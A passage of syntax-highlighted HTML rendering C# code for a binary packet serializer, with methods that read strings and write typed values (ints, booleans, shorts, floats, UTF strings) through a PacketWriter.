#007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">int&nbsp;_i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">_i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">len</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">_i</span><span style="color: #007700">++)&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">builder</span><span style="color: #007700">.</span><span style="color: #0000BB">Append</span><span style="color: #007700">((</span><span style="color: #0000BB">char</span><span style="color: #007700">)</span><span style="color: #0000BB">dataInput</span><span style="color: #007700">.</span><span style="color: #0000BB">Read</span><span style="color: #007700">());<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">builder</span><span style="color: #007700">.</span><span style="color: #0000BB">ToString</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;default:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">string&nbsp;text2&nbsp;</span><span style="color: #007700">=&nbsp;(string)</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">names</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">integer</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">object&nbsp;obj2&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">Read</span><span style="color: #007700">(</span><span style="color: #0000BB">xb</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">dataInput</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">integer</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">obj2&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">a</span><span style="color: #007700">(</span><span style="color: #0000BB">xb</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">integer</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">obj2</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">xb2</span><span style="color: #007700">.</span><span style="color: #0000BB">b</span><span style="color: #007700">(</span><span style="color: #0000BB">text2</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">obj2</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">xb2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">byte</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">WriteBytes</span><span style="color: #007700">(</span><span style="color: #0000BB">Module&nbsp;xb</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">byte</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">result</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;num&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">xb</span><span style="color: #007700">.</span><span style="color: #0000BB">id</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">PacketWriter&nbsp;writer&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">PacketWriter</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">writer</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteShort</span><span style="color: #007700">((</span><span style="color: #0000BB">short</span><span style="color: #007700">)</span><span style="color: #0000BB">num</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #0000BB">xb</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">num</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">writer</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">result&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Encoding</span><span style="color: #007700">.Default.</span><span style="color: #0000BB">GetBytes</span><span style="color: #007700">(</span><span style="color: #0000BB">writer</span><span style="color: #007700">.</span><span style="color: #0000BB">ToString</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">result</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">void&nbsp;Write</span><span style="color: #007700">(</span><span style="color: #0000BB">object&nbsp;obj</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">int&nbsp;id</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">PacketWriter&nbsp;dataOutput</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ArrayList&nbsp;arrayList&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">ArrayList</span><span style="color: #007700">)</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">f</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">id</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">arrayList</span><span style="color: #007700">.</span><span style="color: #0000BB">Count</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;num&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">Int32</span><span style="color: #007700">)</span><span style="color: #0000BB">arrayList</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;switch&nbsp;(</span><span style="color: #0000BB">num</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">dataOutput</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">((int)</span><span style="color: #0000BB">obj</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">dataOutput</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteBoolean</span><span style="color: #007700">((bool)</span><span style="color: #0000BB">obj</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">dataOutput</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">((</span><span style="color: #0000BB">byte</span><span style="color: #007700">)</span><span style="color: #0000BB">obj</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">dataOutput</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteShort</span><span style="color: #007700">((</span><span style="color: #0000BB">short</span><span style="color: #007700">)</span><span style="color: #0000BB">obj</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">4</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">dataOutput</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteInt</span><span style="color: #007700">((int)</span><span style="color: #0000BB">obj</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">5</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">dataOutput</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLong</span><span style="color: #007700">((</span><span style="color: #0000BB">long</span><span style="color: #007700">)</span><span style="color: #0000BB">obj</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">6</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">dataOutput</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteFloat</span><span style="color: #007700">((float)</span><span style="color: #0000BB">obj</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">7</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">dataOutput</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteDouble</span><span style="color: #007700">((double)</span><span style="color: #0000BB">obj</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">8</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">dataOutput</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteChar</span><span style="color: #007700">((int)</span><span style="color: #0000BB">obj</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">9</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">string&nbsp;s&nbsp;</span><span style="color: #007700">=&nbsp;(string)</span><span style="color: #0000BB">obj</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">s&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">null&nbsp;</span><span style="color: #007700">||&nbsp;</span><span style="color: #0000BB">s</span><span style="color: #007700">.</span><span style="color: #0000BB">Length&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">0&nbsp;</span><span style="color: #007700">||&nbsp;</span><span style="color: #0000BB">s</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;&nbsp;!=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">dataOutput</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteUTF</span><span style="color: #007700">(</span><span style="color: #0000BB">s</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">s</span><span style="color: #007700">.</span><span style="color: #0000BB">Length&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">dataOutput</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteUTF</span><span style="color: #007700">(</span><span style="color: #0000BB">null</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">dataOutput</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteUTF</span><span style="color: #007700">(</span><span style="color: #0000BB">s</span><span style="color: #007700">.</span><span style="color: #0000BB">Substring</span><span style="color: #007700">(</span><span style="color: #0000BB">1</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">10</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;throw&nbsp;new&nbsp;</span><span style="color: #0000BB">Exception</span><span style="color: #007700">(</span><span style="color: #DD0000">"Not&nbsp;implemented&nbsp;yet:&nbsp;BinaryType"</span><span style="color: #007700">);<br 